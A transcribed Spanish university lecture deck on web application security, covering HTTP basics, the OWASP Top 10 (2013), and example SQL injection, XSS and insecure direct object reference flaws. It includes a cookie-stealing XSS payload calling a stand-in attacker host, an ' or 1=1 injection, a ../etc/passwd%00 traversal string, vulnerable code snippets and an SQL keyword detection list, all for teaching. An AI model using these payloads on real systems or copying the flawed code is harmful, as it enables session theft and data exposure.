SEGURIDAD WEB. Cristian Cappo (ccappo@pol.una.py)



Documentos relacionados
DETECCIÓN DE INTRUSIÓN POR ANOMALÍA EN APLICACIONES WEB

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

PROGRAMACIÓN PÁGINAS WEB CON PHP

Capítulo 4 Pruebas e implementación de la aplicación CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

La utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor.

Programación páginas web. Servidor (PHP)

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

XPERTO EN DISEÑO DE PÁGINAS WEB

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

Ataques XSS en Aplicaciones Web

Seguridad WEB Inyección de código

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez


UNIVERSIDAD TECNICA DE MANABI Facultad de Ciencias Informáticas Ingeniería en sistemas. SEGURIDAD INFORMATICA Tema: Mysql Injection

Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL BÁSICO

Vulnerabilidades de los sistemas informáticos

CMS JOOMLA. Características

AUDITORÍAS TÉCNICAS PARA LA CERTIFICACIÓN DE LOS SISTEMAS DE RECOGIDA DE INICIATIVAS CIUDADANAS EUROPEAS

INTRODUCCION. Tema: Protocolo de la Capa de aplicación. FTP HTTP. Autor: Julio Cesar Morejon Rios

Capítulo 2.- Vulnerabilidades en aplicaciones web.

RETO HACKER DE VERANO

Servicios de Seguridad de la Información

Gastón Toth Lic. en Computación CEH Pentester

Seguridad en Aplicaciones Web

Julio Cesar Hernández García

Pruebas de Intrusión de Aplicación

Pruebas de Seguridad en aplicaciones web segun OWASP Donde estamos... Hacia donde vamos?

Servicio de publicación de información web (HTTP)

Fundamentos de programación Estudia las estructuras de control y cómo definir funciones en JavaScript.

Sesión No. 4. Contextualización INFORMÁTICA 1. Nombre: Procesador de Texto

FORMACIÓN PRESENCIAL ESPECIALIZADA - SEGURIDAD EN ENTORNOS WEB - MODULO I ENTORNO DE DESARROLLO WEB. MYSQL+PHP AUDITOR DE SEGURIDAD EN ENTORNOS WEB.

Modulo I. Introducción a la Programación Web. 1.1 Servidor Web.

INTRODUCCIÓN A LA SEGURIDAD EN SISTEMAS Y WEBS

80295 Extending Microsoft Dynamics CRM 2011

Historia de revisiones

Seguridad en Administración de Redes. INTEGRANTES: Santa Elena Rodríguez Calzada María de los Ángeles Ramírez Ortiz Liliana Gpe. Olivares Valdovinos.

Presentación del Curso Virtual PROGRAMACIÓN WEB PHP CON MYSQL AVANZADO

Offensive State Auditoría de Aplicaciones Web

Curso de Programación PHP

Servidores Web E2B2C. Leandro Radusky Esteban Lanzarotti. Nov 2014

Estándares para el Uso de Herramientas de Desarrollo y Plataformas de Aplicaciones Web

Web: Ataque y Defensa. my kung fu is stronger than yours, The lone Gunmen

CAPÍTULO 3 VISUAL BASIC

Curso de PHP con MySQL Gratis

Visión General de GXportal. Última actualización: 2009

Objetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor.

LENGUAJES DE PROGRAMACIÓN WEB (PHP1, HTML52)

Programación páginas web con ASP.NET 3.5 (C#)

Guía de Apoyo Project Web Access. (Jefe de Proyectos)

JAVA EE 5. Arquitectura, conceptos y ejemplos.

Crear un servidor Web en IIS

Requisitos de control de proveedores externos

CORPORACIÓN MEXICANA DE INVESTIGACIÓN EN MATERIALES, S.A. DE CV

PDF created with pdffactory Pro trial version

Directiva PCM/SG Directiva de seguridad ante la presencia de virus informático en la Presidencia del Consejo de Ministros

Desarrollo y servicios web

Circular de Tecnología Pautas de seguridad para el desarrollo de aplicaciones Web

Capítulo 5. Cliente-Servidor.

Construyendo una Intranet colaborativa para PyMES con SharePoint 2010

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

Beneficios estratégicos para su organización. Beneficios. Características V

Manual de Usuario: Servidor Cloud y Servidor Cloud Gestionado

MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER ACTIVEX. Versión 4.0


desarrollo. Dentro del desarrollo de la tesis el proceso de modelado del sistema fue hecho con el

PROGRAMACIÓN PÁGINAS WEB JAVASCRIPT Y PHP

Contenido QUÉ ES SERVIDOR CLOUD?... 3 ACCESO AL SERVIDOR CLOUD... 3 ADMINISTRACIÓN DEL SISTEMA... 6

Banco de la República Bogotá D. C., Colombia

UNIVERSIDAD DE OVIEDO

Manual de NetBeans y XAMPP

Haga clic para modificar el estilo de título del patrón Haga clic para modificar el estilo de texto del patrón

MySQL: Guía de Referencia

Soft4Web. Embedded Web Server + Program 11.14

PROGRAMACIÓN EN PHP. 1. Identificar las características y modalidad de programación bajo PHP.

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO

Software generador de documentos a través de la Web

MS_80062 Introduction to Microsoft Dynamics AX 2009

S E G U R I D A D E N A P L I C A C I O N E S W E B

Diseño dinámico de arquitecturas de información

Presentación. Porqué formarte con nosotros?

Introducción a las redes de computadores

3-ANÁLISIS DE VULNERABILIDADES

VICEPRESIDENCIA DE OPERACIONES DEPARTAMENTO DE SISTEMAS

Windows Server Windows Server 2003

Infraestructura Tecnológica. Sesión 1: Infraestructura de servidores

GLOSARIO. Arquitectura: Funcionamiento, estructura y diseño de una plataforma de desarrollo.

La interoperabilidad se consigue mediante la adopción de estándares abiertos. Las organizaciones OASIS y W3C son los comités responsables de la

Guía de Instalación para clientes de WebAdmin

Tutorial: Primeros Pasos con Subversion

POSGRADO EXPERTO.NET DESARROLLO DE SOFTWARE

Diplomado en Desarrollo de Aplicaciones WEB Avanzado (HTML, PHP, MySQL, Java Script)

Programación páginas web JavaScript y PHP

PRUEBAS DE SOFTWARE TECNICAS DE PRUEBA DE SOFTWARE

Novedades de Microsoft Dynamics 2011

Qué es una aplicación web

FOREST BPMS. Arquitectura Forest BPMS. Metodologia de implementación. Fase I Instalación

Configuración de Aspel-SAE 6.0 para trabajar Remotamente

Transcripción:

SEGURIDAD WEB Maestría en TICs 2015 Énfasis Auditoría y Seguridad Informática Seguridad en aplicaciones y base de datos Cristian Cappo (ccappo@pol.una.py) NIDTEC - Núcleo de Investigación y Desarrollo Tecnológico - FPUNA

Contenido Aplicaciones web. Características y funcionamiento. Vulnerabilidades en las aplicaciones web y ataques Vulnerabilidades en navegadores (parte II, otra presentación) Conclusiones 2

1. Aplicaciones web. Características y funcionamiento 3

Qué es una aplicación web? Es aquella aplicación que utilizan la infraestructura web para su funcionamiento, en particular consideramos la que utiliza el protocolo HTTP (HyperText Transfer Protocol - RFC 2616) para la comunicación con sus usuarios. La web se ha convertido en el medio natural para desplegar servicios de software. Existen actualmente cerca de 874 millones de sitios web según Netcraft (www.netcraft.com). (ago/2015), en el mismo mes del 201 3 se tenía 716 millones, es decir hubo un crecimiento de más de 150 millones de sitios en dos años!! Y con 34,3% de la población mundial con acceso a Internet (2400 millones de personas!!) Cuántos de estos sitios poseen al menos una aplicación web? 4

Beneficios de las aplicaciones web Utiliza un protocolo liviano(http) y stateless (sin conexión) El front-end es algo común en cualquier computadora o dispositivo móvil: un navegador. Actualmente, los navegadores poseen mucha funcionalidad La tecnología y los lenguajes de desarrollo de las aplicaciones son relativamente simples y fáciles de conseguir. 5

6

Funcionalidades de la aplicaciones web(2) Además de Internet, las organizaciones están adoptando este esquema para soporte de sus actividades de negocio: Aplicaciones para manejo administrativo: ejemplo software ERP. Administración de infraestructura como servidores, estaciones de trabajo, máquinas virtuales, mail & web servers, etc. Software colaborativo: workflow, documentos, etc. Aplicaciones usuales de oficina (planilla, proc. de texto, etc): Google apps, MS Office live, etc. 7

Arquitectura web : Esquema básico Firewall Cliente Web Servidor Web App - Web App - Web Servidor de Base de datos Tráfico HTTP Puerto 80 8

Arquitectura web : Funcionamiento Todas las transacciones HTTP siguen el mismo formato. Cada request(cliente) y cada response(servidor) tiene tres partes: la línea del request (que indica el método HTTP) o response, la cabecera y el cuerpo 9

Arquitectura web: Componentes Métodos HTTP: los principales GET y POST. Otros: HEAD, TRACE, OPTIONS, DELETE. URL (uniform resource locator): identificador único para un recurso web. El formato es el siguiente: protocol: //hostname[:port]/[path/]file?[param=value] Envío de parámetros: en el URL query string, en los cookies, en el cuerpo usando POST. Las aplicaciones pueden ser construidas con una variedad de tecnologías: Lenguajes de scripts como: PHP, VBScript, Perl, etc Plataformas de aplicaciones web : APS.NET, Java, Ruby on rails, Web servers: Apache, IIS, Oracle, NCSA, IBM, etc Base de datos: Oracle, PostgreSQL, MySQL, etc Otros componentes de back-end: sistema de archivos, servicios web, servicios de directorio, etc. 10

Arquitectura web Métodos HTTP básicos Método Descripción Body? GET Solicitar un documento del servidor No HEAD Solicitar solo el header del servidor No POST Enviar datos al servidor para su procesamiento Si PUT Guardar el cuerpo del request en el servidor Si TRACE OPTIONS Mostrar la traza del mensaje a través de los proxys al server Determina que métodos están habilitados en el servidor DELETE Borra un documento del servidor No No No 11

Arquitectura web 12

Arquitectura web: funcionalidad del lado cliente HTML4 y HTML5 HyperLinks Forms CSS JavaScript VBScript DOM Ajax JSON Extensiones al browser: Java applets, controles ActiveX, objetos Flash, objetos Silverlight, etc. 13

Arquitectura web: otras cuestiones Estado y Sesiones Esquemas de codificación (ejemplo del carácter = ) URL %3d Unicode %u003d ó \u003d HTML = ó = ó &eq; Base64 PQ== Hex 3D Acceso remoto de clientes y serialización Adobe Flex y AMF (Action Message Format) MS Silverligth and WCF (Windows Communication Foundation) Objetos java serializados 14

2. Vulnerabilidades en las aplicaciones web y ataques 15

Qué es una vulnerabilidad? Es una debilidad o hueco de seguridad en la aplicación/software que puede ser aprovechada o explotada de forma malintencionada por un atacante y violar así la seguridad del sistema, ó afectar su disponibilidad. 16

Porqué las aplicaciones quedan vulnerables? Falta de aplicación de una metodología que incluya a la seguridad como parte del proceso de desarrollo de software. Software Development Lifecycle SDL (Microsoft) SSE-CMM(ISO/IEC 21827) (SystemSecurityEngineering-CMM) SAMM (Software Assurance Maturity Model (OWASP) Software Security Framework (Citigal & Fortify ) 17

Porqué las aplicaciones quedan vulnerables? (2) Conciencia sobre seguridad poco desarrollada. Desarrollo con ajustadas restricciones de tiempo y recursos. Rápida evolución de las amenazas. Creciente demanda de nuevas funcionalidades. Ajuste de las aplicaciones en funcionamiento (o en etapas finales de desarrollo) a las nuevas tecnologías. Desarrollo personalizado. La simplicidad engañosa de las herramientas. 18

Ejemplo de vulnerabilidades de una aplicación utilizada usualmente Aplicación: Joomla! (www.joomla.org) Fuente: www.secunia.com (Secunia) Número de vulnerabilidades para Joomla! (2005-2012): 525 2012: 27 2011: 82 2010: 236 2009: 66 Fuente : cve.mitre.org Número de vulnerabilidades para Joomla! (2005-2012): 687 2012: 7 2011: 21 2010: 236 2009: 67 Otras fuentes de consulta de vulnerabilidades: www.securityfocos.com (Symantec) osvdb.org (Open Source Vulnerability Database) www.securitytracker.com ( SecurityGlobal.net) www.webappsec.org (Web Hacking Incident Database) (exclusivo de aplicaciones web) xssed.com (Vulnerabilidades XSS) (lista un poco más de 45500 vulnerabilidades XSS) Common Vulnerabilities and Exposures (CVE) Desde 1999 a 2012, más del 50% corresponde a vulnerabilidades web 19

Cómo evitar las vulnerabilidades? Hacer lo correcto desde el principio Pero No es posible 100% de seguridad Muchas veces utilizamos software de terceros, del que tal vez desconozcamos su calidad. Tenemos que convivir con sistemas en funcionamiento Si es posible mejorar el software, debe hacerse! Es el foco del curso Es probable que tengamos que aumentar la seguridad desde el exterior Ejemplo: Esquemas defensivos de tipo caja negra 20

Razones para atacar una aplicación web Ubicuidad Existencia de técnicas simples de hackeo Anonimato Pasar por alto las protecciones tradicionales (firewalls) Facilidad de código propio Seguridad inmadura Constantes cambios a las aplicaciones Dinero Cuestiones políticas 21

Qué componentes son atacables? Plataforma web Aplicación web Base de datos Cliente web Comunicación Disponibilidad (DoS) 22

Proceso del ataque Descubrir (profiling) Examinar el entorno Tipo y versión del SO, web server, web app server, etc (por ejemplo usando nmap) Examinar la aplicación Examinar la estructura, tipo de lenguaje, tipo de objetos Generar y examinar errores Encontrar información oculta Definición del target Mecanismo de login Campos de entrada Manejo de sesiones Infraestructura.. 23

Ataques web Firewall Cliente Web Servidor Web App - Web App - Web Servidor de Base de datos Tráfico HTTP Puerto 80 GET /login.pl?user=http://hak.com/.. El firewall no puede contrarrestar ataques que vienen en el contenido de los paquetes HTTP (que es puerto abierto) 24

Principales ataques web Open Web Application Security Project (www.owasp.org) Organización sin fines de lucro que se dedica a ayudar a entender y mejorar la seguridad de las aplicaciones y servicios web. Lo hace a través de varios proyectos como guías de desarrollo para diferentes lenguajes de programación, software de testing por seguridad, librerías seguras, guías de buenas prácticas, etc. Entre uno de sus proyectos se encuentra la producción de la lista de las diez vulnerabilidades más importantes de las aplicaciones web. El último reporte es del 2013. 25

OWASP top 10 (2013) (https://www.owasp.org/index.php/category:owasp_top_ten_project) 1. Inyección (notablemente SQL Injection). 2. Pérdida de autenticación y gestión de sesiones. 3. Secuencia de Comandos en Sitios Cruzados (XSS). 4. Referencia Directa Insegura a objetos. 5. Configuración de Seguridad Incorrecta. 6. Exposición de datos sensibles (incluye almacenamiento criptográfico inseguro) 7. Ausencia de control de acceso funciones (incluye falla de restricción de acceso a URL de 2010) 8. Falsificación de Peticiones en Sitios Cruzados (CSRF). 9. Uso de componentes con vulnerabilidades conocidas (nuevo 2013) 10. Redirecciones y reenvíos no validados. === OWASP 2010 - Falla de restricción de acceso a URL de 2010 - Almacenamiento criptográfico inseguro - Defectuosa configuración de seguridad 26

Ejemplo de ataques más comunes SQL Injection Permite a los atacantes retransmitir código a través de la aplicación web a otro sistema vía SQL. Las consecuencias: obtención de información privada, saltar el esquema de autenticación, corromper datos, ejecución de comandos del sistema operativo, etc 27

SQL Injection ejemplo 1 Considerar el siguiente código perl No validado $query = new CGI; $username = $query->param( username ); $password = $query->param( password ); $sql_command = select * from users where username= $username and password= $password ; $sth = $dbh->prepare($sql_command) Un atacante podría aprovechar esta vulnerabilidad agregando por ejemplo or 1=1 en el campo password de forma que la consulta quedaría: select * from users where username= juan and password= or 1=1 28

SQL Injection ejemplo 2 En PHP $sql = "SELECT * FROM table WHERE id = '". $_REQUEST['id ]. " "; En Java String query = "SELECT user_id FROM user_data WHERE user_name = '" + req.getparameter("userid") + "' and user_password = '" + req.getparameter("pwd") +"'"; 29

SQL Injection Otras palabras claves a detectar Exec XP_ Exec SP_ OpenRowSet Execute inmediate UNION SELECT INSERT DELETE UPDATE 30

Ejemplo de ataques comunes Secuencia de Comandos en Sitios Cruzados (XSS) La aplicación puede ser utilizada como mecanismo para transportar un ataque al usuario final con un navegador. El navegador del usuario no tiene forma de conocer que el script es malicioso Puede acceder a cookies, tokens de sesión o cualquier otra información sensible guardada en el navegador. Pueden ser de tipo reflejados o permanentes. 31

XSS - Ejemplo Considerar el siguiente código Java (String) page += "<input name='creditcard' type='text value='" + request.getparameter("cc") + "'>"; El atacante puede modificar el parámetro CC en el navegador '><script>document.location='http://www.attacker.com/cgibin/cookie.cgi? foo='+document.cookie</script>'. 32

XSS Reflejado - Ejemplo Usuario hace login El usuario solicita el URL malicioso al servidor El server responde con el script del atacante 1 3 4 7 El atacante secuestra la sesión del usuario El script del atacante Se ejecuta en el navegador Del usuario 5 El atacante envía un URL malicioso al usuario 2 6 El navegador del usuario envía el dato al atacante

XSS Guardado - Ejemplo Usuario hace login El atacante envía una respuesta conteniendo un script malicioso El usuario ve la respuesta del atacante El server responde con el script del atacante 3 2 4 7 1 El atacante secuestra la sesión del usuario El script del atacante Se ejecuta en el navegador Del usuario 5 6 El navegador del usuario envía el dato al atacante

Otros ataques Referencia insegura y directa a objetos Ocurre cuando un programador expone una referencia hacia un objeto interno de la aplicación tales como un archivo, directorio, registro de la base de datos, o clave como un URL o un parámetro de formulario web Ejemplo 1: <select name="language"> <option value="fr">français</option></select> require_once($_request['language ]."lang.php"); Este código puede ser atacado suministrando una cadena como../../../../etc/passwd%00 y acceder a archivos del sistema (fijarse que se inyectó el byte nulo %00 y así evitar que se añada otra cadena, lang.php en este caso) 35

Otros ataques Referencia insegura y directa a objetos Ejemplo 2: Un atacante puede explotar la vulnerabilidad probando con varios valores para una clave que está expuesta por la aplicación. int cartid = Integer.parseInt( request.getparameter("cartid" )); String query = "SELECT * FROM table WHERE cartid=" + cartid; 36

Qué hacer contra los ataques? Monitorizar Conocer que esta ocurriendo (buenas herramientas de S.O.) Detectar Conocer cuando existe un ataque (Intrusión Detection System) Prevenir Detener el ataque antes que logre su objetivo (Intrusión Prevention System) Evaluar Descubrir los problemas antes que los atacantes: Test de penetración Análisis estático/dinámico 37

Bibliografía D. Stuttard & M. Pinto. The Web application Hacker s Handbook, 2nd. Edition. Wiley Press. 2011. M. Shema. Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Syngress Press. Elsevier. 2012. M. Zalewski. The tangled Web. A guide to securing Modern Web Applications. 2012. 38